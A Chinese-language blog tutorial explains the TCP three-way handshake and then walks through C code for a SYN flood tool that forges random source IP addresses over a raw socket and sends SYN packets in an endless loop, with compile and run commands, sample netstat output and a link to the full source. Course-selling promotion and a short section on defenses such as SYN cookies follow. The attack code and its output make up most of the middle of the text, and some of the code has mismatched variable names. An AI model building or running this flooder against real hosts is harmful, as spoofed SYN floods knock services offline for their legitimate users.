[黑客入门] TCP SYN洪水 (SYN Flood) 攻击原理与实现(非常详细)零基础入门到精通,收藏这一篇就够了

注意:本文只探讨技术,请勿用于非法用途,否则后果自负。

TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。

TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立在 IP 协议这种面向无连接的协议,所以 TCP 协议必须自己来维护连接的状态。

三次握手过程

TCP 协议通过一种名为 三次握手 的过程来建立客户端与服务端的连接,三次握手 过程的原理如图1:

(图一 三次握手过程)

建立连接三次握手过程如下:

  • 客户端需要发送一个 SYN包 给服务端(包含了客户端初始化序列号),并且将连接的状态设置为 SYN_SENT,这个过程由 connect() 系统调用完成。

  • 服务端接收到客户端发送过来的 SYN包 后,回复一个 SYN+ACK包 给客户端(包含了服务端初始化序列号),并且设置连接的状态为 SYN_RCVD

  • 客户端接收到服务端发送过来的 SYN+ACK包 后,设置连接状态为 ESTABLISHED(表示连接已经建立),并且回复一个 ACK包 给服务端。

  • 服务端接收到客户端发送过来的 ACK包 后,将连接状态设置为 ESTABLISHED(表示连接已经建立)。

三次握手 过程完成后,一个 TCP 连接就此建立完成。

SYN Flood攻击原理

上面介绍了建立一个 TCP 连接的 三次握手 过程,我们可以发现,三次握手 属于一个协商的过程,也就是说客户端与服务端必须严格按照这个过程来进行,否则连接就不能建立。

这时,如果客户端发送 SYN包 企图与服务端建立连接,但发送完 SYN包 后就不管,那会发送什么事情呢?如图2所示:

(图2 SYN-Flood)

客户端发送一个 SYN包 给服务端后就退出,而服务端接收到 SYN包 后,会回复一个 SYN+ACK包 给客户端,然后等待客户端回复一个 ACK包

但此时客户端并不会回复 ACK包,所以服务端只能一直等待直到超时。服务端超时后,会重发 SYN+ACK包 给客户端,默认会重试 5 次,而且每次等待的时间都会增加(可以参考 TCP 协议超时重传的实现)。

另外,当服务端接收到 SYN包 后,会建立一个半连接状态的 Socket。所以,当客户端一直发送 SYN包,但不回复 ACK包,那么将会耗尽服务端的资源,这就是 SYN Flood 攻击

SYN Flood攻击实验

接下来,我们通过自己编写代码来进行 SYN Flood攻击 实验。

因为 SYN Flood攻击 需要构建 TCP 协议头部,所以下面介绍一下 TCP 协议头部的格式,如图3:

(图3 TCP 协议头部格式)

我们定义以下结构来描述 TCP 协议头部:

struct tcphdr {`    `unsigned short      sport;    // 源端口`    `unsigned short      dport;    // 目标端口`    `unsigned int        seq;      // 序列号`    `unsigned int        ack_seq;  // 确认号`    `unsigned char       len;      // 首部长度`    `unsigned char       flag;     // 标志位`    `unsigned short      win;      // 窗口大小`    `unsigned short      checksum; // 校验和`    `unsigned short      urg;      // 紧急指针``};

下面是设置 TCP 头部的过程:

  • 标志位中的 SYN 字段必须设置为 1,表示这是一个 SYN包,由于 SYN位 位于 flag 字段的第二位,所以可以将 flag 字段设置为 0x02

  • 源端口号和序列号我们可以随机设置一个,目的端口号设置成要攻击的目标端口。

  • 确认号设置为 0,因为我们还不知道服务端的序列号。

  • 窗口大小可以随便设置,但通常不要设置太小(可以设置成1024)。

  • 校验和这个比较复杂,因为 TCP 协议在计算检验和时,要加上一个12字节的伪首部,伪首部格式如下图:

  • 伪首部共有 12 字节,包含 IP 协议头部的一些字段,有如下信息:32位源IP地址32位目的IP地址8位保留字节(置0)8位传输层协议号(TCP是6,UDP是17)16位TCP报文长度(TCP首部+数据)

  • TCP 协议校验和计算三部分:TCP伪首部 + TCP头部 + TCP数据

  • 紧急指针可以设置为 0。

按照上面的分析,定义 TCP 伪首部的结构如下:

struct pseudohdr {`    `unsigned int        saddr;`    `unsigned int        daddr;`    `char                zeros;`    `char                protocol;`    `unsigned short      length;``};

计算校验和的算法有点复杂,所以这里直接从网上找到一个封装好的函数,如下(有兴趣可以参考 TCP 协议的 RFC 文档):

unsigned short inline``checksum(unsigned short *buffer, unsigned short size)`     `{  ``    unsigned long cksum = 0;``   `    `while (size > 1) {`        `cksum += *buffer++;`        `size  -= sizeof(unsigned short);`    `}``   `    `if (size) {`        `cksum += *(unsigned char *)buffer;`    `}``   `    `cksum = (cksum >> 16) + (cksum & 0xffff);`    `cksum += (cksum >> 16);`     `   `    `return (unsigned short )(~cksum);``}

另外,为了在攻击的时候能够设置不同的 IP 地址(因为相同的 IP 地址容易被识别而过滤),我们还需要定义 IP 协议头部。IP 协议头部的格式如图4:

(图4 IP 协议头部)

我们定义以下结构来表示 IP 协议头部:

struct iphdr {`    `unsigned char       ver_and_hdrlen;// 版本号与IP头部长度`    `unsigned char       tos;           // 服务类型`    `unsigned short      total_len;     // 总长度`    `unsigned short      id;            // IP包ID`    `unsigned short      flags;         // 标志位(包括分片偏移量)`    `unsigned char       ttl;           // 生命周期`    `unsigned char       protocol;      // 上层协议`    `unsigned short      checksum;      // 校验和`    `unsigned int        srcaddr;       // 源IP地址`    `unsigned int        dstaddr;       // 目标IP地址``};

1. 初始化 IP 头部

下面我们实现初始化 IP 头部的函数 init_ip_header()

void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr)``{`    `int len = sizeof(struct ip) + sizeof(struct tcphdr);``   `    `iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));`    `iphdr->tos = 0;`    `iphdr->total_len = htons(len);`    `iphdr->id = 1;`    `iphdr->flags = 0x40;`    `iphdr->ttl = 255;`    `iphdr->protocol = IPPROTO_TCP;`    `iphdr->checksum = 0;`    `iphdr->srcaddr = srcaddr; // 源IP地址`    `iphdr->dstaddr = dstaddr; // 目标IP地址``}

init_ip_header() 函数比较简单,就是通过传入的源 IP 地址和目标 IP 地址初始化 IP 头部结构。

2. 初始化 TCP 头部

接下来,我们要实现初始化 TCP 头部的函数 init_tcp_header()

void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport)``{`    `tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口`    `tcp->dport = htons(dport);                    // 目标端口`    `tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号`    `tcp->ack_seq = 0;``    tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);`    `tcp->flag = 0x02;`    `tcp->win = htons(1024);``    tcp->checksum = 0;`    `tcp->urg = 0;``}

3. 初始化 TCP 伪首部

现在我们定义一个 TCP 伪首部初始化函数 init_pseudo_header()

void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr, ``                        unsigned int dstaddr)``{`    `hdr->zero = 0;`    `hdr->protocol = IPPROTO_TCP;`    `hdr->length = htons(sizeof(struct tcphdr));`    `hdr->saddr = srcaddr;`    `hdr->daddr = dstaddr;``}

4. 构建 SYN 包

接下来我们要实现最为重要的一个函数,就是构建 SYN包,其实现如下:

int make_syn_packet(char *packet, int pkt_len, unsigned int daddr, ``                    unsigned short dport)``{`    `char buf[100];`    `int len;`    `struct iphdr ip;             // IP 头部`    `struct tcphdr tcp;           // TCP 头部`    `struct pseudohdr pseudo;     // TCP 伪头部`    `unsigned int saddr = rand(); // 随机生成一个源IP地址``   `    `len = sizeof(ip) + sizeof(tcp);``   `    `// 初始化头部信息`    `init_ip_header(&ip, saddr, daddr);`    `init_tcp_header(&tcp, dport);`    `init_pseudo_header(&pseudo, saddr, daddr);``   `    `//计算IP校验和`    `ip.checksum = checksum((u_short *)&ip, sizeof(ip));``   `    `// 计算TCP校验和`    `bzero(buf, sizeof(buf));`    `memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部`    `memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部`    `tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));``   `    `bzero(packet, pkt_len);`    `memcpy(packet, &ip, sizeof(ip));`    `memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));`    `    return len;``}

make_syn_packet() 函数主要通过 目标IP地址目标端口 生成一个 SYN包,保存到参数 packet 中,并且返回包的大小。

5. 创建原始套接字

由于要发送自己构建的 IP 头部和 TCP 头部,所以必须使用 原始套接字 来发送。原始套接字 在创建时需要指定 SOCK_RAW 参数,下面我们定义一个创建原始套接字的函数:

int make_raw_socket()``{`    `int fd;`    `int on = 1;``   `    `// 创建一个原始套接字, 指定其关注TCP协议`    `fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);`    `if (fd == -1) {`        `return -1;`    `}``   `    `// 设置需要手动构建IP头部`    `if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {`        `close(fd);`        `return -1;`    `}``   `    `return fd;``}

在调用 socket() 函数创建套接字时,指定第二个参数为 SOCK_RAW,表示创建的套接字为原始套接字。然后调用 setsockopt() 函数设置 IP 头部由我们自己构建。

6. 发送SYN包

下面我们实现发送 SYN包 的函数:

int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)``{`    `struct sockaddr_in skaddr;`    `char packet[256];`    `int pkt_len;``   `    `bzero(&skaddr, sizeof(skaddr));``   `    `skaddr.sin_family = AF_INET;`    `skaddr.sin_port = htons(port);`    `skaddr.sin_addr.s_addr = addr;``   `    `pkt_len = make_syn_packet(packet, 256, addr, port);``   `    `return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,`                  `sizeof(struct sockaddr));``}

send_syn_packet() 函数需要传入原始套接字、目标IP地址和目标端口,然后通过调用 sendto() 函数向服务端发送一个 SYN包

7. 主函数

最后,我们来实现主函数 main()

int main(int argc, char *argv[])``{`    `unsigned int addr;`    `unsigned short port;`    `int sockfd;``   `    `if (argc < 3) {`        `fprintf(stderr, "Usage: synflood <address> <port>\n");`        `exit(1);`    `}``   `    `addr = inet_addr(argv[1]);  // 获取目标IP`    `port = atoi(argv[2]);       // 获取目标端口``   `    `if (port < 0 || port > 65535) {`        `fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);`        `exit(1);`    `}``   `    `sockfd = make_raw_socket(); // 创建原始socket`    `if (sockfd == -1) {`        `fprintf(stderr, "Failed to make raw socket\n");`        `exit(1);`    `}``   `    `for (;;) {`        `if (send_syn_packet(sockfd, addr, port) < 0) { // 发送SYN包`            `fprintf(stderr, "Failed to send syn packet\n");`        `}`    `}``   `    `close(sockfd);``   `    `return 0;``}

main() 函数也很简单,首先从命令行读取到 目标 IP 地址目标端口,然后调用 make_raw_socket() 创建一个原始套接字,最后在一个无限循环中不断向服务端发送 SYN包

完整的源代码在:https://github.com/liexusong/synflood/blob/main/synflood.c


现在我们通过以下命令来编译这个程序:

root@vagrant]$ gcc -o synflood synflood.c

然后使用以下命令运行程序:

root@vagrant]$ sudo synflood 127.0.0.1 80

上面的命令就是攻击本地的80端口,我们可以使用以下命令查看TCP连接的状态:

root@vagrant]$ netstat -np|grep tcp``tcp        0      0 127.0.0.1:80            229.20.1.110:51861      SYN_RECV    -``tcp        0      0 127.0.0.1:80            239.137.18.30:52104     SYN_RECV    -``tcp        0      0 127.0.0.1:80            233.90.28.10:65322      SYN_RECV    -``tcp        0      0 127.0.0.1:80            236.13.8.74:57922       SYN_RECV    -``tcp        0      0 127.0.0.1:80            229.81.76.55:52345      SYN_RECV    -``tcp        0      0 127.0.0.1:80            236.226.188.82:53560    SYN_RECV    -``tcp        0      0 127.0.0.1:80            236.245.238.56:49499    SYN_RECV    -``tcp        0      0 127.0.0.1:80            224.222.45.20:49270     SYN_RECV    -``tcp        0      0 127.0.0.1:80            230.2.130.115:63709     SYN_RECV    -``tcp        0      0 127.0.0.1:80            239.233.180.85:59636    SYN_RECV    -``tcp        0      0 127.0.0.1:80            236.168.175.81:60326    SYN_RECV    -``tcp        0      0 127.0.0.1:80            235.27.77.111:65276     SYN_RECV    -``tcp        0      0 127.0.0.1:80            236.4.252.114:60898     SYN_RECV    -``tcp        0      0 127.0.0.1:80            226.62.209.29:64605     SYN_RECV    -``tcp        0      0 127.0.0.1:80            232.106.157.82:56451    SYN_RECV    -``tcp        0      0 127.0.0.1:80            235.247.175.35:54963    SYN_RECV    -``tcp        0      0 127.0.0.1:80            231.100.248.95:58660    SYN_RECV    -``tcp        0      0 127.0.0.1:80            228.113.70.57:60157     SYN_RECV    -``tcp        0      0 127.0.0.1:80            236.76.245.32:59218     SYN_RECV    -``tcp        0      0 127.0.0.1:80            232.76.169.15:50441     SYN_RECV    -``tcp        0      0 127.0.0.1:80            236.191.51.34:53060     SYN_RECV    -``tcp        0      0 127.0.0.1:80            227.215.119.119:55480   SYN_RECV    -``tcp        0      0 127.0.0.1:80            227.185.145.18:56882    SYN_RECV    -``tcp        0      0 127.0.0.1:80            234.73.216.62:58793     SYN_RECV    -``tcp        0      0 127.0.0.1:80            234.183.17.49:59739     SYN_RECV    -``tcp        0      0 127.0.0.1:80            235.233.86.125:55530    SYN_RECV    -``tcp        0      0 127.0.0.1:80            229.117.216.112:52235   SYN_RECV    -``tcp        0      0 127.0.0.1:80            238.182.168.62:65214    SYN_RECV    -``tcp        0      0 127.0.0.1:80            225.88.213.112:62171    SYN_RECV    -``tcp        0      0 127.0.0.1:80            225.218.65.88:60597     SYN_RECV    -``tcp        0      0 127.0.0.1:80            239.116.219.23:58731    SYN_RECV    -``tcp        0      0 127.0.0.1:80            232.99.36.55:51906      SYN_RECV    -``tcp        0      0 127.0.0.1:80            225.198.211.64:52338    SYN_RECV    -``tcp        0      0 127.0.0.1:80            230.229.104.121:62795   SYN_RECV    -``...

从上面的结果可以看出,服务器已经生成了很多半连接状态的 TCP 连接,表示我们的攻击已经生效。

总结

本文主要介绍了 SYN Flood攻击 的原理与实施方式,本文的本意是通过理解攻击原理来更好的防范被攻击,而不是教你怎么去攻击,所以千万别用于恶意攻击、千万别用于恶意攻击、千万别用于恶意攻击(重要的事情讲三次)。

另外,防止 SYN Flood攻击 的方法很多,这里就不介绍了,有兴趣可以查阅相关的资料。

参考资料:1. https://blog.youkuaiyun.com/zhangskd/article/details/11770647

             2. https://blog.youkuaiyun.com/jiange\_zh/article/details/50446172

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

### TCP SYN Flood 攻击的工作原理 TCP SYN Flood 是一种典型的 DDoS(分布式拒绝服务)攻击形式,其核心在于利用了 TCP 协议的三次握手机制。正常情况下,在建立 TCP 连接时,客户端会先向服务器发送一个带有 SYN 标志的数据包,表示发起连接请求;随后服务器回应一个带 SYN 和 ACK 标志的数据包确认收到请求并准备接受新连接;最后客户端再返回一个仅含 ACK 的数据包完成连接建立过程。 然而在 TCP SYN Flood 攻击中,恶意行为者会伪造大量的 IP 地址并向目标主机发送无数个 SYN 请求[^1]。由于这些请求来自不存在或者不可达的真实地址,当服务器按照标准流程回复每一个 SYN/ACK 后便一直处于等待最终 ACK 确认的状态直到超时释放该半开连接。这种状态消耗了大量的系统资源如内存缓冲区和 CPU 时间片等,从而导致合法用户的访问受到严重影响甚至完全中断服务[^4]。 ### 防御方法 #### 一、启用反攻击特性 可以通过在网络设备上开启相应的防护策略来抵御此类威胁。例如,在网关路由器或防火墙上执行命令 `anti-attack tcp-syn enable` 来激活针对 TCP SYN Flood 的基本保护措施[^3]。一旦检测到异常流量模式,则自动采取行动减轻潜在损害。 #### 二、设置速率限制 为了进一步控制可能存在的风险,还可以设定每秒允许接收的最大 SYN 报文数量阈值。比如使用如下配置语句:“`anti-attack tcp-syn car cir 8000`”,它规定了只有不超过8千次每秒钟的新建尝试才会被继续处理下去,超出部分则会被丢弃掉以保障整体性能稳定运行不受干扰。 #### 三、首包丢弃加源认证组合方案 这种方法特别适用于应对那些频繁改变源头信息来进行伪装欺骗式的进攻情况。具体做法是在初次遇到某个新的连接申请时暂时将其忽略不予理会(即所谓的“首包包抛弃”)此同时要求对方提供额外的身份验证材料证明自己的合法性之后才重新考虑是否接纳这个链接请求 。如此一来既能有效过滤掉大部分非法企图又能保持较高的用户体验度[^5]。 #### 四、采用 Cookie 方式 另一种常见的解决方案就是引入 cookies 机制作为中间环节参到整个协商过程中去。简单来说就是在第二阶段也就是发出 SYN/ACK 响应之前附加一段加密过的临时令牌给客户终端保存起来;等到下一步真正回传过来的时候再核对该标记是否存在以及正确否以此判断当前对话的真实性进而决定后续动作方向如何发展变化等等细节操作步骤均需严格遵循既定的安全规范执行到位才行。 ```python def syn_flood_defense(): """ A function demonstrating the configuration commands for defending against SYN Flood attacks. Returns: str: Configuration command strings. """ gateway_config = [ "anti-attack tcp-syn enable", "anti-attack tcp-syn car cir 8000" ] return "\n".join(gateway_config) print(syn_flood_defense()) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值